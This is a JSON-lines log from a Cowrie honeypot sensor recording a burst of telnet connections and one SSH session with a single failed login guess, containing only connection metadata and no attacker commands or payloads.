{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38434,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c7c014ec27b","protocol":"telnet","message":"New connection: 162.55.233.176:38434 (159.203.135.109:23) [session: 9c7c014ec27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:07.144915Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38442,"dst_ip":"159.203.135.109","dst_port":23,"session":"46498fd8863f","protocol":"telnet","message":"New connection: 162.55.233.176:38442 (159.203.135.109:23) [session: 46498fd8863f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:07.308460Z"}
{"eventid":"cowrie.session.closed","duration":32.09914755821228,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:07.635565Z","src_ip":"162.55.233.176","session":"cac65e94c4f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.019856691360474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:07.686961Z","src_ip":"162.55.233.176","session":"9b7b573b2df1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38444,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2794dda54ad","protocol":"telnet","message":"New connection: 162.55.233.176:38444 (159.203.135.109:23) [session: a2794dda54ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:07.750881Z"}
{"eventid":"cowrie.session.closed","duration":37.37980031967163,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:07.827270Z","src_ip":"162.55.233.176","session":"5fd9b474c344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45047950744629,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:08.305703Z","src_ip":"162.55.233.176","session":"c998474bb249","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38450,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6ede9d6b19e","protocol":"telnet","message":"New connection: 162.55.233.176:38450 (159.203.135.109:23) [session: e6ede9d6b19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:08.393687Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38464,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea70b424620f","protocol":"telnet","message":"New connection: 162.55.233.176:38464 (159.203.135.109:23) [session: ea70b424620f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:08.524731Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":59458,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ee7cf7f82fe","protocol":"ssh","message":"New connection: 103.170.173.26:59458 (159.203.135.109:22) [session: 6ee7cf7f82fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:08.625074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:08.628291Z","src_ip":"103.170.173.26","session":"6ee7cf7f82fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.064375638961792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:08.639161Z","src_ip":"162.55.233.176","session":"2d7fbc966fbb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:08.904703Z","src_ip":"103.170.173.26","session":"6ee7cf7f82fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.59847927093506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:08.913951Z","src_ip":"162.55.233.176","session":"18ec0527d733","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44676,"dst_ip":"10.17.0.5","dst_port":23,"session":"54a92523121f","protocol":"telnet","message":"New connection: 206.189.32.23:44676 (10.17.0.5:23) [session: 54a92523121f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:09.194234Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38472,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a40437da403","protocol":"telnet","message":"New connection: 162.55.233.176:38472 (159.203.135.109:23) [session: 4a40437da403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:09.431247Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38476,"dst_ip":"159.203.135.109","dst_port":23,"session":"818610eca7bd","protocol":"telnet","message":"New connection: 162.55.233.176:38476 (159.203.135.109:23) [session: 818610eca7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:09.438703Z"}
{"eventid":"cowrie.session.closed","duration":35.822688579559326,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:09.659634Z","src_ip":"162.55.233.176","session":"0ee6b18d49b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38478,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ef7d58e898e","protocol":"telnet","message":"New connection: 162.55.233.176:38478 (159.203.135.109:23) [session: 5ef7d58e898e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:09.780797Z"}
{"eventid":"cowrie.session.closed","duration":39.59806990623474,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:09.929227Z","src_ip":"162.55.233.176","session":"ab319aa96d41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38482,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ec7a90d9df9","protocol":"telnet","message":"New connection: 162.55.233.176:38482 (159.203.135.109:23) [session: 6ec7a90d9df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:09.971360Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"9999999999","message":"login attempt [ubuntu/9999999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:10.045099Z","src_ip":"103.170.173.26","session":"6ee7cf7f82fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43506,"dst_ip":"10.17.0.5","dst_port":23,"session":"16f43461eec6","protocol":"telnet","message":"New connection: 206.189.32.23:43506 (10.17.0.5:23) [session: 16f43461eec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:10.155466Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38488,"dst_ip":"159.203.135.109","dst_port":23,"session":"558ab223a169","protocol":"telnet","message":"New connection: 162.55.233.176:38488 (159.203.135.109:23) [session: 558ab223a169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:10.219315Z"}
{"eventid":"cowrie.session.closed","duration":31.422443389892578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:10.422897Z","src_ip":"162.55.233.176","session":"d24b7198aae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.500422954559326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:10.428359Z","src_ip":"162.55.233.176","session":"0739fe3a1a61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090678215026855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:10.775275Z","src_ip":"162.55.233.176","session":"99c26791e7dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.077295541763306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:10.884411Z","src_ip":"162.55.233.176","session":"f532d44fb855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.83756899833679,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:10.985621Z","src_ip":"162.55.233.176","session":"bd3c84a35741","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:11.323784Z","src_ip":"103.170.173.26","session":"6ee7cf7f82fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38490,"dst_ip":"159.203.135.109","dst_port":23,"session":"5af9ee6511ee","protocol":"telnet","message":"New connection: 162.55.233.176:38490 (159.203.135.109:23) [session: 5af9ee6511ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:11.578022Z"}
{"eventid":"cowrie.session.closed","duration":31.683549880981445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:11.718261Z","src_ip":"162.55.233.176","session":"fae14fbd2f66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38492,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fa38952d181","protocol":"telnet","message":"New connection: 162.55.233.176:38492 (159.203.135.109:23) [session: 2fa38952d181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:11.823688Z"}
{"eventid":"cowrie.session.closed","duration":30.931238412857056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:12.318809Z","src_ip":"162.55.233.176","session":"a63331bd78ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49408,"dst_ip":"10.17.0.5","dst_port":23,"session":"46b433e07887","protocol":"telnet","message":"New connection: 188.208.141.113:49408 (10.17.0.5:23) [session: 46b433e07887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:12.451899Z"}
{"eventid":"cowrie.session.closed","duration":35.44221305847168,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:12.496339Z","src_ip":"162.55.233.176","session":"90165e6304cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38500,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a96c3cae764","protocol":"telnet","message":"New connection: 162.55.233.176:38500 (159.203.135.109:23) [session: 2a96c3cae764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:12.683398Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38510,"dst_ip":"159.203.135.109","dst_port":23,"session":"23d8e2709b54","protocol":"telnet","message":"New connection: 162.55.233.176:38510 (159.203.135.109:23) [session: 23d8e2709b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:12.778190Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38516,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c6113ebd15f","protocol":"telnet","message":"New connection: 162.55.233.176:38516 (159.203.135.109:23) [session: 0c6113ebd15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:12.816990Z"}
{"eventid":"cowrie.session.closed","duration":35.826732873916626,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:12.865503Z","src_ip":"162.55.233.176","session":"6f2f1076e2dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.1020712852478,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:12.941985Z","src_ip":"162.55.233.176","session":"aea31950b9f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36780,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8c87f8128ed","protocol":"telnet","message":"New connection: 162.55.233.176:36780 (159.203.135.109:23) [session: a8c87f8128ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:12.971785Z"}
{"eventid":"cowrie.session.closed","duration":38.58025002479553,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:13.450016Z","src_ip":"162.55.233.176","session":"612671fd8c59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36784,"dst_ip":"159.203.135.109","dst_port":23,"session":"c59cd5e106b0","protocol":"telnet","message":"New connection: 162.55.233.176:36784 (159.203.135.109:23) [session: c59cd5e106b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:13.844881Z"}
{"eventid":"cowrie.session.closed","duration":45.21158409118652,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:13.909745Z","src_ip":"206.189.32.23","session":"606cf1804724","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.586447715759277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:14.297687Z","src_ip":"162.55.233.176","session":"7cdb8a02ff9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.71497988700867,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:14.707252Z","src_ip":"162.55.233.176","session":"f521f0414720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36790,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a6df4c5653b","protocol":"telnet","message":"New connection: 162.55.233.176:36790 (159.203.135.109:23) [session: 2a6df4c5653b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:14.930785Z"}
{"eventid":"cowrie.session.closed","duration":31.637879848480225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:14.962703Z","src_ip":"162.55.233.176","session":"79e7b2a38f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.431398630142212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:15.136209Z","src_ip":"162.55.233.176","session":"223ebd1c23d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36796,"dst_ip":"159.203.135.109","dst_port":23,"session":"001d7c8cb1b0","protocol":"telnet","message":"New connection: 162.55.233.176:36796 (159.203.135.109:23) [session: 001d7c8cb1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:15.264958Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36802,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa388595c96","protocol":"telnet","message":"New connection: 162.55.233.176:36802 (159.203.135.109:23) [session: 9fa388595c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:15.292260Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36812,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2cc1384bc0e","protocol":"telnet","message":"New connection: 162.55.233.176:36812 (159.203.135.109:23) [session: c2cc1384bc0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:15.473953Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36824,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1122a423a9e","protocol":"telnet","message":"New connection: 162.55.233.176:36824 (159.203.135.109:23) [session: c1122a423a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:15.933459Z"}
{"eventid":"cowrie.session.closed","duration":36.105852127075195,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:16.045397Z","src_ip":"162.55.233.176","session":"d4c2235e4a57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36832,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fcf946c889f","protocol":"telnet","message":"New connection: 162.55.233.176:36832 (159.203.135.109:23) [session: 2fcf946c889f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:16.269430Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36834,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5c8b39b068d","protocol":"telnet","message":"New connection: 162.55.233.176:36834 (159.203.135.109:23) [session: b5c8b39b068d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:16.493588Z"}
{"eventid":"cowrie.session.closed","duration":37.707401514053345,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:16.971238Z","src_ip":"162.55.233.176","session":"a2a6205d602e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36838,"dst_ip":"159.203.135.109","dst_port":23,"session":"619c41403026","protocol":"telnet","message":"New connection: 162.55.233.176:36838 (159.203.135.109:23) [session: 619c41403026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:17.212373Z"}
{"eventid":"cowrie.session.closed","duration":38.44278025627136,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:17.320876Z","src_ip":"162.55.233.176","session":"e4ccb7872aa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36844,"dst_ip":"159.203.135.109","dst_port":23,"session":"630bdfe370af","protocol":"telnet","message":"New connection: 162.55.233.176:36844 (159.203.135.109:23) [session: 630bdfe370af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:17.456267Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36856,"dst_ip":"159.203.135.109","dst_port":23,"session":"0883c817f7d7","protocol":"telnet","message":"New connection: 162.55.233.176:36856 (159.203.135.109:23) [session: 0883c817f7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:17.565380Z"}
{"eventid":"cowrie.session.closed","duration":46.571234703063965,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:17.701229Z","src_ip":"188.208.141.113","session":"70fb3c9c9fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36864,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbff48716a4f","protocol":"telnet","message":"New connection: 162.55.233.176:36864 (159.203.135.109:23) [session: fbff48716a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:17.705613Z"}
{"eventid":"cowrie.session.closed","duration":32.145583152770996,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:17.894727Z","src_ip":"162.55.233.176","session":"582650ffb0e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36874,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b0e2dbe119","protocol":"telnet","message":"New connection: 162.55.233.176:36874 (159.203.135.109:23) [session: 90b0e2dbe119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:18.036757Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36882,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fbd4611f095","protocol":"telnet","message":"New connection: 162.55.233.176:36882 (159.203.135.109:23) [session: 4fbd4611f095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:18.328165Z"}
{"eventid":"cowrie.session.closed","duration":34.349013328552246,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:18.765401Z","src_ip":"162.55.233.176","session":"e6b36527e0df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36886,"dst_ip":"159.203.135.109","dst_port":23,"session":"b90a0de43d32","protocol":"telnet","message":"New connection: 162.55.233.176:36886 (159.203.135.109:23) [session: b90a0de43d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:18.871011Z"}
{"eventid":"cowrie.session.closed","duration":32.28044581413269,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:18.893592Z","src_ip":"162.55.233.176","session":"10632017cb95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.715219736099243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:18.968293Z","src_ip":"162.55.233.176","session":"d9a911ff8cea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36894,"dst_ip":"159.203.135.109","dst_port":23,"session":"56db2130efb9","protocol":"telnet","message":"New connection: 162.55.233.176:36894 (159.203.135.109:23) [session: 56db2130efb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:19.044322Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36904,"dst_ip":"159.203.135.109","dst_port":23,"session":"519d03320225","protocol":"telnet","message":"New connection: 162.55.233.176:36904 (159.203.135.109:23) [session: 519d03320225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:19.338578Z"}
{"eventid":"cowrie.session.closed","duration":35.30239963531494,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:19.908721Z","src_ip":"162.55.233.176","session":"bec4b1cefad1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36910,"dst_ip":"159.203.135.109","dst_port":23,"session":"97b5031a886d","protocol":"telnet","message":"New connection: 162.55.233.176:36910 (159.203.135.109:23) [session: 97b5031a886d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:19.913593Z"}
{"eventid":"cowrie.session.closed","duration":37.69664287567139,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:20.698967Z","src_ip":"162.55.233.176","session":"9827eda3ab3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36924,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd0dc5e1ad2e","protocol":"telnet","message":"New connection: 162.55.233.176:36924 (159.203.135.109:23) [session: dd0dc5e1ad2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:20.917179Z"}
